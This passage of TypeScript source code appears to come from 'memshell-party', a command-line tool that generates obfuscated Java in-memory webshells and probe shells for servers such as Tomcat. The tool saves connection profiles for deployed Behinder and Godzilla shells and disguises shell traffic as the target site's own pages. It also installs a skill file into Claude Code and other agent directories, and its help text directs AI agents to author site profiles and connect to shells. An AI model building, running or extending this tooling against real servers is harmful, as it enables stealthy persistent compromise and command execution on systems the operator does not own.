unusable, the parent directory is missing, or the\n * target exists and `force` is not set (no silent overwrites).\n */\nexport function resolveDownloadPath(\n remotePath: string,\n localArg: string | undefined,\n force: boolean,\n): string {\n const name = remoteBasename(remotePath);\n let target: string;\n if (localArg === undefined) {\n if (!name) {\n throw new Error(\n `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} — pass -o`,\n );\n }\n target = name;\n } else if (existsSync(localArg) && statSync(localArg).isDirectory()) {\n if (!name) {\n throw new Error(\n `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} — pass -o with a file path`,\n );\n }\n target = join(localArg, name);\n } else {\n target = localArg;\n }\n\n const abs = resolve(target);\n if (existsSync(abs)) {\n if (statSync(abs).isDirectory()) {\n throw new Error(`local path ${target} is a directory — pass -o with a file path`);\n }\n if (!force) {\n throw new Error(`local file ${target} already exists — pass --force to overwrite`);\n }\n }\n const parent = dirname(abs);\n if (!existsSync(parent) || !statSync(parent).isDirectory()) {\n throw new Error(`local directory ${parent} does not exist`);\n }\n return abs;\n}\n\n/**\n * Read a local file for upload. Throws unless it is a regular file within\n * the size limit — directories, devices and missing files are all errors,\n * never silent empty uploads.\n */\nexport function readUploadFile(localPath: string, maxBytes = UPLOAD_SIZE_LIMIT): Buffer {\n if (!existsSync(localPath)) {\n throw new Error(`local file ${localPath} does not exist`);\n }\n const stat = statSync(localPath);\n if (!stat.isFile()) {\n throw new Error(`local path ${localPath} is not a regular file`);\n }\n if (stat.size > maxBytes) {\n throw new Error(\n `local file ${localPath} is ${stat.size} bytes — over the ${maxBytes}-byte upload limit`,\n );\n }\n return readFileSync(localPath);\n}\n","import { createRequire } from \"node:module\";\n\nconst require = createRequire(import.meta.url);\n\ninterface PkgJson {\n version: string;\n}\n\n// package.json sits one level above the built dist/ file and above src/ in dev.\nlet version = \"0.0.0\";\ntry {\n version = (require(\"../package.json\") as PkgJson).version;\n} catch {\n try {\n version = (require(\"./package.json\") as PkgJson).version;\n } catch {\n // fall back to placeholder\n }\n}\n\nexport const CLI_VERSION = version;\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { startMcpStdio } from \"../mcp/server.js\";\nimport { resolveApiUrl } from \"../core/config.js\";\n\nexport function registerMcpCommand(program: Command): void {\n program\n .command(\"mcp\")\n .description(\"Run as an MCP server over stdio (exposes generation + config tools)\")\n .action(async (_opts: GlobalOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals();\n const client = createClient(globals);\n logInfo(`memshell-party MCP server starting (api: ${resolveApiUrl({ flag: globals.api })})`);\n await startMcpStdio(client);\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\n\ninterface ParseCmdOptions extends GlobalOptions {\n file?: string;\n}\n\nexport function registerParseClassNameCommand(program: Command): void {\n program\n .command(\"parse-classname\")\n .description(\"Parse the fully-qualified class name from a .class file\")\n .argument(\"[base64]\", \"base64-encoded .class bytes (omit when using --file)\")\n .option(\"-f, --file <path>\", \"read a .class file from disk instead of passing base64\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty parse-classname -f shell.class\n $ memparty parse-classname \"$(memparty gen -s Tomcat -t Command -y Filter \\\\\n -p DefaultBase64 --command-param-name cmd)\"\n`,\n )\n .action(async (base64: string | undefined, opts: ParseCmdOptions, cmd: Command) => {\n let classBase64: string;\n if (opts.file) {\n classBase64 = readFileSync(opts.file).toString(\"base64\");\n } else if (base64) {\n classBase64 = base64.trim();\n } else {\n throw new Error(\"Provide base64 bytes as an argument or use --file <path>.\");\n }\n\n const client = createClient(cmd.optsWithGlobals());\n const name = await client.parseClassName(classBase64);\n process.stdout.write(`${name}\\n`);\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitSinglePackResult, hasMultiplePackResults } from \"../core/output.js\";\nimport { buildProbeRequest, type ProbeOptions } from \"../core/request-builder.js\";\nimport { parseObfuscationOptions } from \"../core/obfuscation.js\";\nimport { runProbeWizard } from \"../wizard/probe-wizard.js\";\n\ninterface ProbeCmdOptions extends GlobalOptions {\n method?: string;\n content?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n obfuscate?: boolean;\n obfuscationOptions?: string;\n staticInitialize?: boolean;\n shellClassName?: string;\n host?: string;\n seconds?: string;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n respHeaderName?: string;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n}\n\nconst REQUIRED = [\"method\", \"content\", \"packer\"] as const;\n\nfunction toOptions(o: ProbeCmdOptions): ProbeOptions {\n return {\n probeMethod: o.method!,\n probeContent: o.content!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n obfuscate: o.obfuscate,\n obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),\n staticInitialize: o.staticInitialize,\n shellClassName: o.shellClassName,\n host: o.host,\n seconds: o.seconds !== undefined ? Number(o.seconds) : undefined,\n sleepServer: o.sleepServer,\n server: o.server,\n reqParamName: o.reqParamName,\n commandTemplate: o.commandTemplate,\n respHeaderName: o.respHeaderName,\n };\n}\n\nexport function registerProbeCommand(program: Command): void {\n program\n .command(\"probe\")\n .description(\"Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-m, --method <method>\", \"probe method: ResponseBody, ResponseHeader, DNSLog, Sleep\")\n .option(\"-c, --content <content>\", \"probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21/25, or a class-file major version\")\n .option(\"--debug\", \"enable debug output\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--obfuscate\", \"enable class obfuscation (MemShellParty v3+)\")\n .option(\"--obfuscation-options <options>\", \"obfuscation overrides: key=value, comma-separated\")\n .option(\"--no-static-initialize\", \"disable static initialization (enabled by default)\")\n .option(\"--shell-class-name <name>\", \"explicit shell class name\")\n .option(\"--host <host>\", \"DNSLog host (DNSLog method)\")\n .option(\"--seconds <n>\", \"sleep seconds (Sleep method)\")\n .option(\"--sleep-server <server>\", \"server to fingerprint (Sleep method)\")\n .option(\"--server <server>\", \"server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)\")\n .option(\"--req-param-name <name>\", \"request param/header name (ResponseBody/ResponseHeader methods)\")\n .option(\"--resp-header-name <name>\", \"response header name (ResponseHeader method)\")\n .option(\"--command-template <tpl>\", \"command template ({command} placeholder)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty probe # interactive wizard\n $ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\\\\n --server Tomcat --req-param-name cmd\n $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn\n $ memparty probe -m Sleep -c Server -p DefaultBase64 \\\\\n --sleep-server Tomcat --seconds 5\n $ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown\n\nNote: a probe is a detection shell that reports what the target supports.\nThe server name reported by '-c Server' is the value to pass as\n'memparty gen -s'.\n`,\n )\n .action(async (opts: ProbeCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let probeOpts: ProbeOptions;\n if (wantWizard) {\n probeOpts = await runProbeWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n probeOpts = toOptions(opts);\n }\n\n const request = buildProbeRequest(probeOpts);\n const probeMeta = {\n probeMethod: probeOpts.probeMethod,\n probeContent: probeOpts.probeContent,\n packer: probeOpts.packer,\n jdk: probeOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateProbe(request);\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: probeMeta,\n });\n throw err;\n }\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta: probeMeta,\n });\n\n if (opts.json) {\n // -o still writes the payload file in JSON mode; the JSON document\n // then carries an extra `outputFile` field with the write result.\n const outputFile =\n opts.output !== undefined\n ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode })\n : undefined;\n const doc = outputFile === undefined ? response : { ...response, outputFile };\n process.stdout.write(`${JSON.stringify(doc, null, 2)}\\n`);\n return;\n }\n\n const r = response.probeShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n\n if (hasMultiplePackResults(response)) {\n if (opts.output !== undefined) {\n throw new Error(\n `-o cannot write ${Object.keys(response.allPackResults!).length} packer variants to one file. ` +\n `Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`,\n );\n }\n for (const [name, value] of Object.entries(response.allPackResults!)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n const result = emitSinglePackResult(response, {\n outFile: opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n });\n}\n","import { checkbox, confirm, input, select } from \"@inquirer/prompts\";\n\nimport type { MemPartyClient } from \"../api/client.js\";\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { ProbeOptions } from \"../core/request-builder.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name })),\n];\n\nconst PROBE_METHODS = [\"ResponseBody\", \"ResponseHeader\", \"DNSLog\", \"Sleep\"];\nconst PROBE_CONTENTS = {\n ResponseBody: [\"Server\", \"Command\", \"Bytecode\", \"ScriptEngine\", \"Filter\"],\n ResponseHeader: [\"Server\", \"Command\", \"Bytecode\", \"ScriptEngine\", \"Filter\"],\n DNSLog: [\"Server\", \"JDK\"],\n Sleep: [\"Server\"],\n};\n\nexport async function runProbeWizard(client: MemPartyClient): Promise<ProbeOptions> {\n const [packerTree, discoveredServers, config] = await Promise.all([\n client.getPackerTree(),\n client.getProbeResponseServers(),\n client.getConfig(),\n ]);\n const servers = discoveredServers.length ? discoveredServers : Object.keys(config);\n\n const probeMethod = await select({\n message: \"Probe method\",\n choices: PROBE_METHODS.map((m) => ({ name: m, value: m })),\n });\n\n const probeContent = await select({\n message: \"Probe content\",\n choices: PROBE_CONTENTS[probeMethod as keyof typeof PROBE_CONTENTS].map((content) => ({\n name: content,\n value: content,\n })),\n });\n\n const category = await select({\n message: \"Packer category\",\n choices: packerTree.map((packer) => ({ name: packer.name, value: packer.name })),\n });\n const selected = packerTree.find((packer) => packer.name === category)!;\n const packer = selected.children.length\n ? await select({\n message: \"Packer variant\",\n choices: selected.children.map((name) => ({ name, value: name })),\n })\n : category;\n\n const opts: ProbeOptions = { probeMethod, probeContent, packer };\n\n switch (probeMethod) {\n case \"DNSLog\":\n opts.host = await input({ message: \"DNSLog host\" });\n break;\n case \"Sleep\":\n opts.sleepServer = await select({\n message: \"Sleep server\",\n choices: servers.map((s) => ({ name: s, value: s })),\n });\n opts.seconds = Number(await input({ message: \"Seconds\", default: \"5\" }));\n break;\n case \"ResponseBody\":\n case \"ResponseHeader\":\n opts.server = await select({\n message: \"Server\",\n choices: servers.map((s) => ({ name: s, value: s })),\n });\n opts.reqParamName = await input({ message: \"Request param/header name\", default: \"cmd\" });\n opts.commandTemplate = await input({\n message: \"Command template (optional, {command} placeholder)\",\n default: \"\",\n });\n if (probeMethod === \"ResponseHeader\") {\n opts.respHeaderName = await input({ message: \"Response header name (optional)\", default: \"\" });\n }\n break;\n default:\n break;\n }\n\n const shellClassName = await input({ message: \"Shell class name (optional)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n { name: \"class obfuscation (v3+)\", value: \"obfuscate\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n opts.obfuscate = toggles.includes(\"obfuscate\");\n\n const confirmed = await confirm({ message: `Generate ${probeMethod} probe (${packer})?` });\n if (!confirmed) throw new Error(\"Cancelled by user.\");\n\n return opts;\n}\n","import { Command } from \"commander\";\n\nimport { reportError, type GlobalOptions } from \"../cli-context.js\";\nimport {\n listProfiles,\n loadProfile,\n profilePath,\n profileRequests,\n profileSkeleton,\n profileTemplates,\n saveProfile,\n} from \"../core/site-profile.js\";\n\ninterface ProfileCmdOptions extends GlobalOptions {\n site?: string;\n json?: boolean;\n}\n\n/**\n * `memparty profile` — manage site profiles for the mimic protocol.\n * Profiles are hand-written (by the operator or an AI agent); this command\n * only scaffolds, lists and inspects them.\n */\nexport function registerProfileCommand(program: Command): void {\n const cmd = program\n .command(\"profile\")\n .description(\"Manage site profiles for the mimic protocol (init / list / show / check)\");\n\n cmd.command(\"init\")\n .description(\"Write a skeleton profile JSON for hand-authoring\")\n .argument(\"<name>\", \"profile name (letters, digits, '.', '_', '-')\")\n .requiredOption(\"--site <origin>\", \"site origin, e.g. http://target:8080\")\n .option(\"--json\", \"output raw JSON\")\n .action((name: string, opts: ProfileCmdOptions) => {\n try {\n const profile = profileSkeleton(name, opts.site!);\n saveProfile(profile);\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}\\n`);\n } else {\n process.stdout.write(\n `profile skeleton written -> ${profilePath(name)}\\n` +\n `now edit it: paste a real page's HTML into \"template\", set \"title\",\\n` +\n `and fill \"paths\" with the site's path vocabulary (e.g. [\"/api/\", \"/news/\"]).\\n` +\n `AI agents: read the site's pages yourself and pick a high-traffic,\\n` +\n `self-contained page — see the \"Site-mimicking traffic (mimic protocol)\"\\n` +\n `section of the memshell-party skill.\\n`,\n );\n }\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n }\n });\n\n cmd.command(\"list\")\n .description(\"List saved profiles\")\n .option(\"--json\", \"output raw JSON\")\n .action((opts: ProfileCmdOptions) => {\n const names = listProfiles();\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}\\n`);\n } else {\n process.stdout.write(names.length > 0 ? `${names.join(\"\\n\")}\\n` : \"(no profiles yet)\\n\");\n }\n });\n\n cmd.command(\"show\")\n .description(\"Print a saved profile\")\n .argument(\"<name>\", \"profile name\")\n .option(\"--json\", \"output raw JSON (default)\")\n .action((name: string) => {\n try {\n const profile = loadProfile(name);\n process.stdout.write(`${JSON.stringify(profile, null, 2)}\\n`);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), []);\n process.exitCode = 1;\n }\n });\n\n cmd.command(\"check\")\n .description(\"Validate a saved profile (schema + basic sanity), exit 0 when valid\")\n .argument(\"<name>\", \"profile name\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty profile check acme\n $ memparty profile check acme --json\n`,\n )\n .action((name: string, opts: ProfileCmdOptions) => {\n try {\n const profile = loadProfile(name); // load validates\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}\\n`);\n } else {\n const templates = profileTemplates(profile);\n const lines = templates.map(\n (t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || \"(no title)\"}`,\n );\n const shapes = profileRequests(profile)\n .map((r) => `${r.secretField}${r.secretIn && r.secretIn !== \"body\" ? ` (${r.secretIn})` : \"\"}`)\n .join(\", \");\n const requestLine = shapes ? ` request: ${shapes}\\n` : \"\";\n process.stdout.write(\n `profile '${name}' is valid\\n` +\n ` site: ${profile.site}\\n` +\n `${lines.join(\"\\n\")}\\n` +\n requestLine +\n ` paths: ${profile.paths.join(\" \") || \"(none — --dynamic-path will be a no-op)\"}\\n`,\n );\n }\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n }\n });\n}\n","import { Command } from \"commander\";\n\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { installSkill, type SkillScope } from \"../core/skill-install.js\";\n\ninterface SkillInstallCmdOptions extends GlobalOptions {\n user?: boolean;\n claude?: boolean;\n project?: string | boolean;\n json?: boolean;\n}\n\n/**\n * `memparty skill install` — copy the bundled agent skill into an agent's\n * skill directory so the mimic/memshell workflow shows up in its skill list.\n */\nexport function registerSkillCommand(program: Command): void {\n program\n .command(\"skill\")\n .description(\"Manage the bundled agent skill (skills/memshell-party)\")\n .addCommand(\n new Command(\"install\")\n .description(\"Install the memshell-party skill into an agent's skill directory\")\n .option(\"--user\", \"install to ~/.agents/skills (default)\")\n .option(\"--claude\", \"install to ~/.claude/skills (Claude Code)\")\n .option(\"--project [dir]\", \"install to <dir>/skills (default: current directory)\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nThe package ships skills/memshell-party/SKILL.md — the workflow guide that\nteaches an agent how to write site profiles, build custom shells and connect.\nThis command copies it where agents look for skills. Re-run after a CLI\nupgrade to refresh the skill. Restart/rescan your agent to pick it up.\n\nExamples:\n $ memparty skill install # ~/.agents/skills/memshell-party\n $ memparty skill install --claude # ~/.claude/skills/memshell-party\n $ memparty skill install --project # ./skills/memshell-party\n $ memparty skill install --user --claude # both\n`,\n )\n .action((opts: SkillInstallCmdOptions) => {\n const scopes: SkillScope[] = [];\n if (opts.user) scopes.push(\"user\");\n if (opts.claude) scopes.push(\"claude\");\n if (opts.project !== undefined && opts.project !== false) {\n scopes.push(\"project\");\n }\n if (scopes.length === 0) scopes.push(\"user\");\n\n const projectDir = typeof opts.project === \"string\" ? opts.project : undefined;\n try {\n const results = installSkill(scopes, { projectDir });\n logOp({\n category: \"gen\",\n action: \"skill-install\",\n ok: true,\n detail: results.map((r) => `${r.scope}:${r.dir}`).join(\", \"),\n });\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ok: true, installed: results }, null, 2)}\\n`);\n return;\n }\n for (const r of results) {\n logInfo(`installed [${r.scope}] ${r.dir} (${r.files.join(\", \")})`);\n }\n process.stdout.write(\n \"\\nskill installed — restart or rescan your agent to pick it up.\\n\",\n );\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n }\n }),\n );\n}\n","/**\n * Install the bundled agent skill (`skills/memshell-party/SKILL.md`, shipped\n * in the npm package) into an agent's skill directory — `memparty skill\n * install`. Three scopes:\n *\n * user ~/.agents/skills/memshell-party (Kimi Code and compatible)\n * claude ~/.claude/skills/memshell-party (Claude Code)\n * project <dir>/skills/memshell-party (project-local, default cwd)\n *\n * The copy is a full overwrite — installing again after a CLI upgrade\n * refreshes the skill to the installed version.\n */\nimport { cpSync, existsSync, mkdirSync, readdirSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\n\nexport type SkillScope = \"user\" | \"claude\" | \"project\";\n\nexport const SKILL_NAME = \"memshell-party\";\n\n/** Locate the bundled skill directory (handles both src/ and dist/ layouts). */\nexport function skillSourceDir(): string {\n const candidates = [\n new URL(`../skills/${SKILL_NAME}`, import.meta.url), // dist/*.js\n new URL(`../../skills/${SKILL_NAME}`, import.meta.url), // src/core/*.ts\n ];\n for (const candidate of candidates) {\n const p = fileURLToPath(candidate);\n if (existsSync(p)) return p;\n }\n throw new Error(`bundled skill not found (expected skills/${SKILL_NAME} in the package)`);\n}\n\nexport function skillTargetDir(scope: SkillScope, projectDir?: string): string {\n switch (scope) {\n case \"user\":\n return join(homedir(), \".agents\", \"skills\", SKILL_NAME);\n case \"claude\":\n return join(homedir(), \".claude\", \"skills\", SKILL_NAME);\n case \"project\":\n return join(projectDir ?? process.cwd(), \"skills\", SKILL_NAME);\n }\n}\n\nexport interface SkillInstallResult {\n scope: SkillScope;\n dir: string;\n /** Top-level entries after the copy. */\n files: string[];\n}\n\nexport interface InstallSkillOptions {\n /** Base dir for project scope (default: cwd). */\n projectDir?: string;\n /** Override the bundled skill source (tests). */\n sourceDir?: string;\n}\n\n/** Copy the bundled skill into each scope's directory. Overwrites. */\nexport function installSkill(\n scopes: SkillScope[],\n opts: InstallSkillOptions = {},\n): SkillInstallResult[] {\n const src = opts.sourceDir ?? skillSourceDir();\n return scopes.map((scope) => {\n const dir = skillTargetDir(scope, opts.projectDir);\n mkdirSync(dir, { recursive: true });\n cpSync(src, dir, { recursive: true });\n return { scope, dir, files: readdirSync(dir).sort() };\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport { protocolNames } from \"../connect/registry.js\";\nimport {\n getProject,\n listProjects,\n removeProject,\n removeShell,\n saveProjectMeta,\n saveShell,\n saveShellMeta,\n targetStorePath,\n type ShellInput,\n} from \"../core/targets.js\";\nimport { logOp } from \"../core/oplog.js\";\n\ninterface TargetSaveOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n profile?: string;\n upgradeProtocol?: string;\n insecure?: boolean;\n remark?: string;\n category?: string;\n shellRemark?: string;\n json?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nfunction parseRef(ref: string): { project: string; shell?: string } {\n const slash = ref.indexOf(\"/\");\n if (slash === -1) return { project: ref };\n return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };\n}\n\nfunction listTargets(opts: { category?: string; json?: boolean }): void {\n const all = listProjects();\n const names = Object.keys(all).filter(\n (n) => opts.category === undefined || all[n]!.category === opts.category,\n );\n if (opts.json) {\n const filtered: Record<string, unknown> = {};\n for (const n of names) filtered[n] = all[n];\n process.stdout.write(`${JSON.stringify(filtered, null, 2)}\\n`);\n return;\n }\n if (names.length === 0) {\n process.stdout.write(`no saved projects (store: ${targetStorePath()})\\n`);\n return;\n }\n for (const name of names) {\n const p = all[name]!;\n const meta =\n [p.category ? `[${p.category}]` : undefined, p.remark].filter(Boolean).join(\" \");\n process.stdout.write(`${name}${meta ? ` ${meta}` : \"\"}\\n`);\n for (const [shellName, s] of Object.entries(p.shells)) {\n const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;\n process.stdout.write(`${line}${s.remark ? ` — ${s.remark}` : \"\"}\\n`);\n }\n }\n}\n\nexport function registerTargetCommand(program: Command): void {\n program\n .command(\"save\")\n .description(\n \"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)\",\n )\n .argument(\"<ref>\", \"shell reference: <project>/<shell>\")\n .requiredOption(\"-u, --url <url>\", \"URL of the deployed shell\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices(protocolNames()),\n )\n .option(\"--pass <pass>\", \"password\")\n .option(\"--key <key>\", \"godzilla / mimic key\")\n .option(\"--header-name <name>\", \"gate header name (shellToolConfig.headerName)\")\n .option(\"--header-value <value>\", \"gate header value (shellToolConfig.headerValue)\")\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"--profile <name>\", \"mimic: site profile name\")\n .option(\"--upgrade-protocol <className>\", \"godzilla Upgrade shell: fully-qualified generated shell class name\")\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--remark <text>\", \"project remark (merged into the project)\")\n .option(\"--category <name>\", \"project category (merged into the project)\")\n .option(\"--shell-remark <text>\", \"remark for this shell\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\\\\n -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\\\\n --remark \"内网测试环境\" --category test\n $ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme\n $ memparty list # show saved targets\n $ memparty exec web1/bh9060 --cmd \"whoami\"\n\nNote: connect/exec already auto-save a verified shell as <host>/<tool>;\nsave is for choosing the name by hand.\n`,\n )\n .action((ref: string, opts: TargetSaveOptions) => {\n const { project, shell } = parseRef(ref);\n if (!shell) {\n process.stderr.write(\n `Error: expected <project>/<shell>, got ${JSON.stringify(ref)}\\n`,\n );\n process.exitCode = 1;\n return;\n }\n if (!opts.tool) {\n process.stderr.write(\n `Error: --tool is required (available: ${protocolNames().join(\", \")})\\n`,\n );\n process.exitCode = 1;\n return;\n }\n if (opts.remark !== undefined || opts.category !== undefined) {\n saveProjectMeta(project, { remark: opts.remark, category: opts.category });\n }\n const input: ShellInput = {\n url: opts.url!,\n tool: opts.tool as ShellInput[\"tool\"],\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n profile: opts.profile,\n upgradeProtocol: opts.upgradeProtocol,\n insecure: opts.insecure || undefined,\n remark: opts.shellRemark,\n };\n const stored = saveShell(project, shell, input);\n logOp({\n category: \"save\",\n action: \"save\",\n targetName: `${project}/${shell}`,\n url: stored.url,\n tool: stored.tool,\n ok: true,\n detail: \"saved\",\n meta: {\n projectRemark: opts.remark,\n projectCategory: opts.category,\n shellRemark: opts.shellRemark,\n },\n });\n if (opts.json) {\n process.stdout.write(\n `${JSON.stringify({ project, shell, ...stored }, null, 2)}\\n`,\n );\n } else {\n process.stdout.write(\n `saved ${project}/${shell} (${stored.tool} ${stored.url}) -> ${targetStorePath()}\\n`,\n );\n }\n });\n\n program\n .command(\"note\")\n .description(\"Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])\")\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\n .option(\"--remark <text>\", 'remark (\"\" to clear)')\n .option(\"--category <name>\", 'project category (\"\" to clear; projects only)')\n .action((ref: string, opts: { remark?: string; category?: string }) => {\n const { project, shell } = parseRef(ref);\n if (shell) {\n if (opts.category !== undefined) {\n process.stderr.write(\"Error: --category only applies to projects\\n\");\n process.exitCode = 1;\n return;\n }\n if (opts.remark === undefined) {\n process.stderr.write(\"Error: nothing to set — pass --remark\\n\");\n process.exitCode = 1;\n return;\n }\n const updated = saveShellMeta(project, shell, { remark: opts.remark });\n logOp({\n category: \"note\",\n action: \"note\",\n targetName: `${project}/${shell}`,\n ok: true,\n detail: `remark=${updated.remark ?? \"-\"}`,\n });\n process.stdout.write(`${project}/${shell}: remark=${updated.remark ?? \"-\"}\\n`);\n return;\n }\n if (opts.remark === undefined && opts.category === undefined) {\n process.stderr.write(\"Error: nothing to set — pass --remark and/or --category\\n\");\n process.exitCode = 1;\n return;\n }\n const existing = getProject(project);\n if (!existing) {\n process.stderr.write(`Error: unknown project ${JSON.stringify(project)}\\n`);\n process.exitCode = 1;\n return;\n }\n const updated = saveProjectMeta(project, {\n remark: opts.remark,\n category: opts.category,\n });\n logOp({\n category: \"note\",\n action: \"note\",\n targetName: project,\n ok: true,\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\n });\n process.stdout.write(\n `${project}: category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}\\n`,\n );\n });\n\n program\n .command(\"list\")\n .description(\"List saved projects and their shells\")\n .option(\"--category <name>\", \"only show projects in this category\")\n .option(\"--json\", \"output raw JSON\")\n .action(listTargets);\n\n program\n .command(\"remove\")\n .description(\"Remove a whole project or a single shell (<project>[/<shell>])\")\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\n .action((ref: string) => {\n const { project, 